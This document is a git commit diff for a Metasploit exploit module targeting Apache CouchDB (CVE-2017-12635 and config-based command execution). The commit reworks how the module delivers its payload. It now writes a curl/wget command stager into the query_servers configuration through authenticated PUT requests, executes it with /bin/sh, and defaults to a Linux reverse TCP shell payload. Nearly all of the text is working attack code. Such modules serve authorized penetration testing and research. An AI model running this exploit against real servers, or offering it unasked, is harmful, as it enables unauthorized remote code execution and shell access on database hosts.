Use cmdstager method, update function to clean file, delete lots of useless code and etc.
parent
c0be313691
commit
3c5cbd2664
|
@ -7,11 +7,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::Remote::HttpServer
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Apache Couchdb Arbitrary Command Execution',
|
'Name' => 'Apache CouchDB Arbitrary Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
CouchDB administrative users can configure the database server via HTTP(S).
|
CouchDB administrative users can configure the database server via HTTP(S).
|
||||||
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
|
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
|
||||||
|
@ -32,19 +32,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Apr 6 2016',
|
'DisclosureDate' => 'Apr 6 2016',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => 'unix',
|
'Platform' => 'linux',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Space' => 4096, # Has into account Apache request length and base64 ratio
|
|
||||||
'DisableNops' => true
|
|
||||||
},
|
|
||||||
'DefaultOptions' => {
|
'DefaultOptions' => {
|
||||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
|
||||||
|
'CMDSTAGER::FLAVOR' => 'curl'
|
||||||
},
|
},
|
||||||
|
'CmdStagerFlavor' => ['curl', 'wget'],
|
||||||
'Targets' => [
|
'Targets' => [
|
||||||
['Automatic', {} ]
|
['Automatic', {} ],
|
||||||
|
['Apache CouchDB version 1.x', {} ],
|
||||||
|
['Apache CouchDB version 2.x', {} ]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
))
|
))
|
||||||
|
@ -57,7 +56,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
])
|
])
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.'])
|
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
|
||||||
|
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -76,14 +76,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
@exploit_flag = false
|
@exploit_flag = false
|
||||||
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't access the server.") unless get_version
|
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
|
||||||
version = @version
|
version = @version
|
||||||
|
|
||||||
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
|
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
|
||||||
|
|
||||||
start_http_server
|
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
|
||||||
|
@cmdstager = generate_cmdstager(
|
||||||
|
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
|
||||||
|
:temp => datastore['WritableDir'],
|
||||||
|
:file => File.basename(cmdstager_path),
|
||||||
|
:nospace => true
|
||||||
|
).join(';')
|
||||||
|
|
||||||
if !datastore['Attempts'] || datastore['Attempts'] == 0
|
if !datastore['Attempts'] || datastore['Attempts'] <= 0
|
||||||
attempts = 1
|
attempts = 1
|
||||||
else
|
else
|
||||||
attempts = datastore['Attempts']
|
attempts = datastore['Attempts']
|
||||||
|
@ -96,6 +102,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# break if we get the shell
|
# break if we get the shell
|
||||||
break if @exploit_flag
|
break if @exploit_flag
|
||||||
end
|
end
|
||||||
|
|
||||||
|
print_status("Shutting down the web service...")
|
||||||
|
stop_service
|
||||||
end
|
end
|
||||||
|
|
||||||
# CVE-2017-12635
|
# CVE-2017-12635
|
||||||
|
@ -149,7 +158,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
if res && res.code == 200
|
if res && res.code == 200
|
||||||
res_json = res.get_json_document if res
|
res_json = res.get_json_document
|
||||||
|
|
||||||
|
if res_json.empty?
|
||||||
|
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
@version = res_json['version'] if res_json['version']
|
@version = res_json['version'] if res_json['version']
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
@ -159,19 +174,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def send_payload(version)
|
def send_payload(version)
|
||||||
vprint_status("#{peer} - version is #{version}") if version
|
vprint_status("#{peer} - CouchDB version is #{version}") if version
|
||||||
|
|
||||||
|
version = Gem::Version.new(@version)
|
||||||
case
|
case
|
||||||
when version < '1.7.0'
|
# Version not found
|
||||||
|
when version.version.empty?
|
||||||
|
|
||||||
|
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
|
||||||
|
# if target set Automatic, exploit failed.
|
||||||
|
if target == targets[0]
|
||||||
|
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
|
||||||
|
elsif target == targets[1]
|
||||||
payload1
|
payload1
|
||||||
when version.between?('2.0.0','2.1.0')
|
elsif target == targets[2]
|
||||||
payload2
|
payload2
|
||||||
when version >= '1.7.0' || version > '2.1.0'
|
end
|
||||||
|
|
||||||
|
when version < Gem::Version.new('1.7.0')
|
||||||
|
payload1
|
||||||
|
when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||||
|
payload2
|
||||||
|
when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
|
||||||
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
||||||
else
|
|
||||||
# Version not found, try randomly payload
|
|
||||||
vprint_warning("#{peer} - Cannot retrive the version, exploiting randomly...")
|
|
||||||
send([:payload1,:payload2].sample)
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -186,14 +211,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_hex = Rex::Text.rand_text_hex(32)
|
rand_hex = Rex::Text.rand_text_hex(32)
|
||||||
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16)
|
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
|
||||||
@file_to_clean = rand_file
|
@file_to_clean = rand_file
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
|
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -222,7 +247,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"/bin/bash #{rand_file}"}
|
'data' => %Q{"/bin/sh #{rand_file}"}
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -232,6 +257,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
|
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# payload2 is for the version of couchdb below 2.1.1
|
# payload2 is for the version of couchdb below 2.1.1
|
||||||
|
@ -243,7 +270,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_hex = Rex::Text.rand_text_hex(32)
|
rand_hex = Rex::Text.rand_text_hex(32)
|
||||||
rand_file = "/tmp/" + Rex::Text.rand_text_alpha_lower(8..16)
|
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
|
||||||
|
|
||||||
@file_to_clean = rand_file
|
@file_to_clean = rand_file
|
||||||
|
|
||||||
|
@ -259,7 +286,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"curl #{@service_url} > #{rand_file}"}
|
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -288,7 +315,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"/bin/bash #{rand_file}"}
|
'data' => %Q{"/bin/sh #{rand_file}"}
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -301,61 +328,47 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmdstager_path
|
||||||
|
@cmdstager_path ||=
|
||||||
|
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override methods
|
||||||
|
#
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
if (not @pl)
|
if (not @cmdstager)
|
||||||
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("request headers is #{request.headers['User-Agent']}") if request.headers['User-Agent']
|
print_status("Sending payload #{datastore['PAYLOAD']}")
|
||||||
|
super
|
||||||
if request.headers['User-Agent'] !~ /curl/
|
|
||||||
print_status("Sending 404 for User-Agent #{request.headers['User-Agent']}")
|
|
||||||
send_not_found(cli)
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
|
||||||
send_response(cli, @pl)
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def start_http_server
|
def start_service(opts = {})
|
||||||
@pl = payload.encoded
|
super
|
||||||
|
@service_url = get_uri
|
||||||
resource_uri = datastore['URIPATH'] || random_uri
|
|
||||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
|
||||||
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
|
|
||||||
else
|
|
||||||
srv_host = datastore['SRVHOST']
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# do not use SSL for the attacking web server
|
|
||||||
if datastore['SSL']
|
|
||||||
ssl_restore = true
|
|
||||||
datastore['SSL'] = false
|
|
||||||
end
|
|
||||||
|
|
||||||
@service_url = "http://#{srv_host}:#{datastore['SRVPORT']}/#{resource_uri}"
|
|
||||||
service_url_payload = srv_host + resource_uri
|
|
||||||
vprint_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
|
|
||||||
start_service({'Uri' => {
|
|
||||||
'Proc' => Proc.new { |cli, req|
|
|
||||||
on_request_uri(cli, req)
|
|
||||||
},
|
|
||||||
'Path' => resource_uri
|
|
||||||
}})
|
|
||||||
datastore['SSL'] = true if ssl_restore
|
|
||||||
connect
|
|
||||||
end
|
|
||||||
|
|
||||||
# mark the exploit successful and clean temp file created during exploiting
|
# mark the exploit successful and clean temp file created during exploiting
|
||||||
def on_new_session(client)
|
def on_new_session(client)
|
||||||
# mark flag be true to stop exploit.
|
# mark flag be true to stop exploit.
|
||||||
@exploit_flag = true
|
@exploit_flag = true
|
||||||
|
|
||||||
|
# CmdStager should rm the file, but it blocks on the payload, so we do it
|
||||||
|
@file_to_clean << " #{cmdstager_path}"
|
||||||
vprint_status("Cleaning temp file #{@file_to_clean}")
|
vprint_status("Cleaning temp file #{@file_to_clean}")
|
||||||
begin
|
begin
|
||||||
|
if client.type.eql? 'meterpreter'
|
||||||
|
client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
|
||||||
|
client.fs.file.rm @file_to_clean
|
||||||
|
else
|
||||||
client.shell_command_token("rm #{@file_to_clean}")
|
client.shell_command_token("rm #{@file_to_clean}")
|
||||||
|
end
|
||||||
vprint_good("Cleaned temp file successful.")
|
vprint_good("Cleaned temp file successful.")
|
||||||
rescue
|
rescue
|
||||||
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
|
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
|
||||||
|
|
Loading…
Reference in New Issue